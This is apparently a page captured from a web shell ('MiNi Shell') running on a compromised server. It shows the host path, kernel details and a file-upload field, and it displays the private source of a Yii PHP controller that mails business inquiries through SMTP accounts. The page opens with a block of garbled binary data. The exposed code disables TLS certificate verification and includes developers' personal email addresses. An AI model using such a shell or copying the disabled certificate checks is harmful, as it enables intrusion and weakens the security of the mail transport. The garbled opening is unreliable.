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.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/console/controllers/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : //home/vmanager/www/console/controllers/InquiriesController.php

<?php

namespace console\controllers;

use \Yii;
use \yii\console\Controller;
use \yii\helpers\Console;
use common\models\Inquiries;
use common\models\CompaniesHasInquiries;
use common\models\InquiriesShipping;
use common\models\types\InquiryStatus;
use yii\console\ExitCode;

class InquiriesController extends Controller
{
    public $shippingLimit = 600; //@todo na ile to ustawiamy domyślnie ?
    public $shippingLimitPerPortal = 100;
    
    public $testEmail;
    
    /**
     * Komunikat błędu
     * 
     * @var string 
     */
    private $errorMessage;
    
    /**
     * Model zapytania ofertowego
     * @var Inquiries
     */
    private $inquiry;
    
//    public function actionSendTest()
//    {
//        $mailer = \Yii::$app->mailer;
//        $mailer->htmlLayout = 'layouts/main-html';
//        $mailer->textLayout = 'layouts/main-text';
//        $message = $mailer->compose(
//            [
//                'html' => 'test-html',
//                'text' => 'test-text'
//            ],
//            [
//                'modelInquiry' => 123,
//                'shippingData' => date('Y-m-d')
//            ]
//        );
//        $message->setSubject('Temat testowego maila');
//        $message->setFrom(['radek@vertica.pl' => 'radek@vertica.pl']);
//
//        $this->stdout('Sending email on address: darks86_test12323223@wp.pl');
//        $message->setTo(['darks86_test12323223@wp.pl' => 'Darks-testowe']);
//
//        //wysyłamy wiadomość 
////        $flag = $message->send();
//        $this->stdout(" - ".(($flag) ? 'OK' : 'FAIL')." \n");
//        return ExitCode::OK;
//    }
    
    public function options($actionID)
    {
        switch($actionID) {
            case 'send':
                return ['shippingLimit', 'shippingLimitPerPortal'];
                break;
            case 'send-new':
                return ['shippingLimit', 'shippingLimitPerPortal', 'testEmail'];
                break; 
            case 'send123':
                return ['shippingLimit', 'shippingLimitPerPortal', 'testEmail'];
                break; 
            default:
                return [];
        }
    }
    
    public function optionAliases()
    {
        return [
            'limit' => 'shippingLimit',
            'limitPerPortal' => 'shippingLimitPerPortal', 
            'email' => 'testEmail'
        ];
    }

//    public function actionSend()
//    {  
//        if(!$this->loadInquiry()) {
//            $this->stdout('Brak zapytań oczekujących na rozesłanie.');
//            return ExitCode::OK;
//        }
//        
//        $shipping = InquiriesShipping::find()
//                ->where(['id_inquiry' => $this->inquiry->id_inquiry])
//                ->limit($this->shippingLimit)
//                ->all();
//        if(empty($shipping)) {
//            $this->inquiry->status = InquiryStatus::SENT;
//            $this->inquiry->sent_datetime = date('Y-m-d H:i');
//            $this->inquiry->save(false);
//            
//            return ExitCode::OK;
//        }
//        
//        $messageWithVisibleSender = $this->composeMessage(true);
//        $messageWithoutVisibleSender = $this->composeMessage(false);
//        if($messageWithVisibleSender === false || $messageWithoutVisibleSender === false) {
//            $this->stderr($this->errorMessage."\n");
//            return ExitCode::CONFIG;
//        }
//        
//        foreach($shipping as $item) {
//            //wysyłamy
//            $this->stdout('Sending email on address: '.$item->recipient_email);
//            $message = intval($item->or_sender_visible) === 1 ? $messageWithVisibleSender : $messageWithoutVisibleSender;            
//            $message->setTo(['r.sobieszczyk86@gmail.com' => $item->recipient_name]);
//            //@todo odkomentować po testach
////            $message->setTo([$item->recipient_email => $item->recipient_name]);
//
//            //wysyłamy wiadomość 
//            $flag = $message->send();
//            $this->stdout(" - ".(($flag) ? 'OK' : 'FAIL')." \n");
//            
//            //usuwamy wpis z kolekcji podręcznej
//            $item->delete();
//            
//            if($flag) {
//                //zapisujemy rekord wiążący adresata z zapytaniem
//                $modelCompanyHasInquiry = new CompaniesHasInquiries(['scenario' => 'create']);
//                $modelCompanyHasInquiry->email = $item->recipient_email;
//                $modelCompanyHasInquiry->id_company = $item->id_company;
//                $modelCompanyHasInquiry->id_inquiry = $this->inquiry->id_inquiry;
//                try {
//                    $modelCompanyHasInquiry->save();
//                } catch(\Exception $e) {
//                    //@todo rozważyć, czy coś z tym dalej robić
//                    $this->stderr("Błąd podczas zapisu powiązania ezo z firmą. \n");
//                    return ExitCode::IOERR;
//                }
//            }
//        }
//
//        return ExitCode::OK;
//    }
//    
//    protected function loadInquiry()
//    {
//        $this->inquiry = Inquiries::find()->where(['status' => InquiryStatus::SENDING])->limit(1)->one();
//        
//        if($this->inquiry === null) {
//            $this->inquiry = Inquiries::find()->where(['status' => InquiryStatus::ACCEPTED])->limit(1)->one();
//            if($this->inquiry === null) {
//                return false;
//            }
//            
//            $this->inquiry->status = InquiryStatus::SENDING;
//            $this->inquiry->save(false);
//        }        
//        
//        return true;
//    }
//    
//    protected function composeMessage($orSenderVisible)
//    {
//        $smtpSettings = $this->inquiry->portal->getSettingsKey('smtp_settings');
//        if(empty($smtpSettings)) {
//            $this->errorMessage = 'No SMTP email account data for the selected portal.';
//            return false;
//        }
//        
//        //wysyłamy email z EZO (###MAIL_6###) oraz (###MAIL_7###) 
//        //ująłem te dwa maile w jeden - praktycznie nie różnią sie niczym poza jedną sekcją
//        $mailer = Yii::$app->mailer;
//        $mailer->htmlLayout = false;      
//        $mailer->textLayout = false; 
//        //@todo odkomentować po testach
//        $mailer->transport = (new \Swift_SmtpTransport($smtpSettings['host'], $smtpSettings['port'], $smtpSettings['encryption']))
//                    ->setUsername($smtpSettings['username'])
//                    ->setPassword($smtpSettings['password']);
//        $message = $mailer->compose(
//            [
//                'html' => 'inquiry_html',
//                'text' => 'inquiry_text'
//            ],
//            [
//                'modelInquiry' => $this->inquiry,
//                'orSenderVisible' => $orSenderVisible
//            ]
//        )
//        //@todo odkomentować po testach
//        ->setFrom([$smtpSettings['username'] => $this->inquiry->portal->domain.' - system vManager'])
////        ->setFrom([Yii::$app->params['noReplyEmail'] => 'System vManager'])
//        ->setSubject(Yii::t('common-mails', 'Zapytanie ofertowe nr {number} z serwisu {portalName}', ['number' => $this->inquiry->id_inquiry, 'portalName' => $this->inquiry->portal->domain]));
//                
//        if(!empty($this->inquiry->attachments)) {
//            //@todo co robimy z załącznikami ? Jedynie linki w treści, czy dołączamy do maila ?
//        }
//        
//        return $message;
//    }
//    
//    
    
    
    
    /*
     * NOWA KONCEPCJA WYSYŁANIA EZO - ROZŁOŻENIE NA WSZYSTKIE MOŻLIWE SKRZYNKI POCZTOWE
     */
    
    private $inquiries;
    private $portals;
    private $shippingItemsByPortals;
    
    public function actionSendNew()
    {      
        if(!$this->loadInquiries()) {
//            $this->stdout('Brak zapytań ofertowych oczekujących na rozesłanie.');
            return Controller::EXIT_CODE_NORMAL;
        }
        
        if(!$this->analyzeInquiries()) {
//            $this->stdout('Brak aktywnych portali dla wybranych zapytań ofertowych.');
            return Controller::EXIT_CODE_NORMAL;
        }
        
        //$this->prepareInquiries();

        $loadedModelsProducts = [];
        $loadedModelsBooks = [];
        
        foreach($this->portals as $idPortal => $modelPortal) { 
            list($modelInquiry, $this->shippingItemsByPortals[$idPortal]) = $this->getShippingItemsForProcessingPortal($idPortal);       
            if(empty($modelInquiry) || empty($this->shippingItemsByPortals[$idPortal])) {
                continue;
            }
            
            $smtpSettings = $modelPortal->getSettingsKey('mailings_smtp_settings'); //sprawdzenie, czy są te dane wykonane zostało już w metodzie self::analyzeInquiries()
            //wysyłamy email z EZO (###MAIL_6###) oraz (###MAIL_7###), a także (###MAIL_39###) oraz (###MAIL_40###)
            //ująłem te dwa maile w jeden - praktycznie nie różnią sie niczym poza jedną sekcją
            $mailer = Yii::$app->mailer;
            $mailer->htmlLayout = false;      
            $mailer->textLayout = false; 
            $mailer->transport = (new \Swift_SmtpTransport($smtpSettings['host'], $smtpSettings['port'], $smtpSettings['encryption']))
                ->setUsername($smtpSettings['username'])
                ->setPassword($smtpSettings['password'])
                ->setStreamOptions([ //@todo musiałem to dodać, bo dla hosta mailingi.vortale.pl wywala błąd SSL
                    'ssl' => [
                        'verify_peer' => false,
                        'verify_peer_name' => false,
                        'allow_self_signed' => true
                    ]
                ]);
            
            foreach($this->shippingItemsByPortals[$idPortal] as $shippingItem) { 
                $modelProduct = null;
                $modelBook = null;
                if($modelInquiry->or_simple === 1) {
                    if($modelInquiry->inquiry_type === \common\models\types\InquiryType::PRODUCTS && !empty($shippingItem['selected_products']) && is_array($shippingItem['selected_products'])) {
                        $idsProducts = array_keys($shippingItem['selected_products']);
                        $idProduct = (int)reset($idsProducts);
                        if(isset($loadedModelsProducts[$idProduct])) {
                            $modelProduct = $loadedModelsProducts[$idProduct];
                        } else {
                            $modelProduct = \common\models\Products::findOne($idProduct);
                            if(!empty($modelProduct)) {
                                $loadedModelsProducts[$idProduct] = $modelProduct;
                            }
                        }
                    } elseif($modelInquiry->inquiry_type === \common\models\types\InquiryType::BOOKSTORE && !empty($shippingItem['selected_books']) && is_array($shippingItem['selected_books'])) {
                        $idsBooks = array_keys($shippingItem['selected_books']);
                        $idBook = (int)reset($idsBooks);
                        if(isset($loadedModelsBooks[$idBook])) {
                            $modelBook = $loadedModelsBooks[$idBook];
                        } else {
                            $modelBook = \common\models\Books::findOne($idBook);
                            if(!empty($modelProduct)) {
                                $loadedModelsBooks[$idBook] = $modelBook;
                            }
                        }
                    }
                    
                }
                
                $message = $mailer->compose(
                    [
                        'html' => 'new_inquiry_html',
                        'text' => 'new_inquiry_text'
                    ],
                    [
                        'modelInquiry' => $modelInquiry,
                        'orSenderVisible' => intval($shippingItem['or_sender_visible']) === 1 ? true : false,
                        'idUser' => $shippingItem['id_user'],
                        'idCompany' => $shippingItem['id_company'],
                        'modelProduct' => $modelProduct,
                        'modelBook' => $modelBook
                    ]
                );

//                if(intval($shippingItem['or_sender_visible']) === 1 && (!empty($modelInquiry->sender_data['email_1']) || !empty($modelInquiry->sender_data['email_2']))) {
//                    $message->setFrom([!empty($modelInquiry->sender_data['email_1']) ? $modelInquiry->sender_data['email_1'] : $modelInquiry->sender_data['email_2'] => $modelInquiry->sender_data['forename'].' '.$modelInquiry->sender_data['surname'].' - system vManager']);
//                } else {
//                    $message->setFrom([$smtpSettings['username'] => $modelInquiry->portal->domain.' - system vManager']);
//                }    
                
                if(intval($shippingItem['or_sender_visible']) === 1 && (!empty($modelInquiry->sender_data['email_1']) || !empty($modelInquiry->sender_data['email_2']))) {
                    $message->setReplyTo([!empty($modelInquiry->sender_data['email_1']) ? $modelInquiry->sender_data['email_1'] : $modelInquiry->sender_data['email_2'] => $modelInquiry->sender_data['forename'].' '.$modelInquiry->sender_data['surname']]);
                }
                $message->setFrom([$smtpSettings['username'] => $modelInquiry->portal->domain.' - system vManager']);
                
        //        ->setFrom([Yii::$app->params['noReplyEmail'] => 'System vManager'])
                $message->setSubject(Yii::t('common-mails', ($modelInquiry->or_simple === 0) ? 'Zapytanie ofertowe nr {number} z serwisu {portalName}' : 'Wiadomość od użytkownika serwisu {portalName} [{number}]', ['number' => $modelInquiry->id_inquiry, 'portalName' => $modelInquiry->portal->domain]));

                if(!empty($modelInquiry->attachments)) {
                    //@todo co robimy z załącznikami ? Jedynie linki w treści, czy dołączamy do maila ?
                }
                
                if(!empty($this->testEmail)) {
                    $message->setTo([$this->testEmail => $this->testEmail]);
                    $message->setSubject($message->getSubject().' - dla: '.$shippingItem['recipient_email'].' ('.$shippingItem['recipient_name'].')');
                } else {
                    $message->setTo([$shippingItem['recipient_email'] => $shippingItem['recipient_name']]);
                }
                
//                $this->stdout('Sending email on address: '.$shippingItem['recipient_email']);           
//                $message->setTo(['r.sobieszczyk86@gmail.com' => $shippingItem['recipient_name']]);

                //wysyłamy wiadomość 
                try {
                    $flag = $message->send();
//                $this->stdout(" - ".(($flag) ? 'OK' : 'FAIL')." \n");
                } catch (\Exception $ex) {
                    Yii::$app->mongodb->getCollection(InquiriesShipping::collectionName())->remove(['_id' => $shippingItem['_id']]);
                }

                //usuwamy wpis z kolekcji podręcznej
                //@todo zastanowić się, czy nie usuwać tego wpisu dopiero po przypisaniu powiązania - może to jednak grozić jakimś zapętleniem wysyłki...
                Yii::$app->mongodb->getCollection(InquiriesShipping::collectionName())->remove(['_id' => $shippingItem['_id']]);

                if($flag) {
                    //zapisujemy rekord wiążący adresata z zapytaniem
                    $modelCompanyHasInquiry = new CompaniesHasInquiries(['scenario' => 'create']);
                    $modelCompanyHasInquiry->email = $shippingItem['recipient_email'];
                    $modelCompanyHasInquiry->id_company = $shippingItem['id_company'];
                    $modelCompanyHasInquiry->id_inquiry = $modelInquiry->id_inquiry;
                    try {
                        $modelCompanyHasInquiry->save();
                    } catch(\Exception $e) {
                        //@todo rozważyć, czy coś z tym dalej robić
//                        var_dump($e->getMessage());
                        $this->stderr("Błąd podczas zapisu powiązania ezo z firmą. \n");
                        return ExitCode::IOERR;
                    }
                }
            }
        }        
        
        return Controller::EXIT_CODE_NORMAL;
    }
    
    protected function loadInquiries()
    {
        $this->inquiries = Inquiries::find()
                ->where(['status' => [InquiryStatus::SENDING, InquiryStatus::ACCEPTED]])
                ->orderBy('status DESC, created_at ASC')
                ->indexBy('id_inquiry')
                ->all();
        
        return empty($this->inquiries) ? false : true;
    }
    
    protected function analyzeInquiries()
    {
        $idsPortals = [];
        
        foreach($this->inquiries as $modelInquiry) { 
            $idsPortals[$modelInquiry->id_portal] = $modelInquiry->id_portal;
        }

        $this->portals = \common\models\Portals::find()
                ->where([
                    'id_portal' => $idsPortals, 
                    'status' => \common\models\types\Status::ACTIVE
                ])->indexBy('id_portal')
                ->all();        
        foreach($this->portals as $key => $modelPortal) {  
            $smtpSettings = $modelPortal->getSettingsKey('mailings_smtp_settings');
            if(empty($smtpSettings)) {
                unset($this->portals[$key]);
            }
        }
        
        if(empty($this->portals)) {
            return false;
        }
        
        $shippingLimitPerPortal = round($this->shippingLimit / count($this->portals));  
        if($shippingLimitPerPortal < $this->shippingLimitPerPortal) {
            $this->shippingLimitPerPortal = $shippingLimitPerPortal;
        }
        
        return true;
    }
    
    protected function getShippingItemsForProcessingPortal($idPortal)
    {
        $documents = [];
        $selectedModelInquiry = null;
        foreach($this->inquiries as $modelInquiry) {
            if($modelInquiry->id_portal !== $idPortal) {
                continue;
            }
            
            $query = new \yii\mongodb\Query();
            $documents = $query->from(InquiriesShipping::collectionName())
                    ->where(['id_inquiry' => $modelInquiry->id_inquiry])
                    ->limit($this->shippingLimitPerPortal)
                    ->all();
            if(!empty($documents)) {
                if($modelInquiry->status === InquiryStatus::ACCEPTED) {
                    $modelInquiry->status = InquiryStatus::SENDING;
                    $modelInquiry->save(false);
                }
                $selectedModelInquiry = $modelInquiry;
                break;
            } else {
                $modelInquiry->status = InquiryStatus::SENT;
                $modelInquiry->sent_datetime = date('Y-m-d H:i');
                $modelInquiry->save(false);
            }
        }
        
        return [$selectedModelInquiry, $documents];
    }
}


Creat By MiNi SheLL
Email: jattceo@gmail.com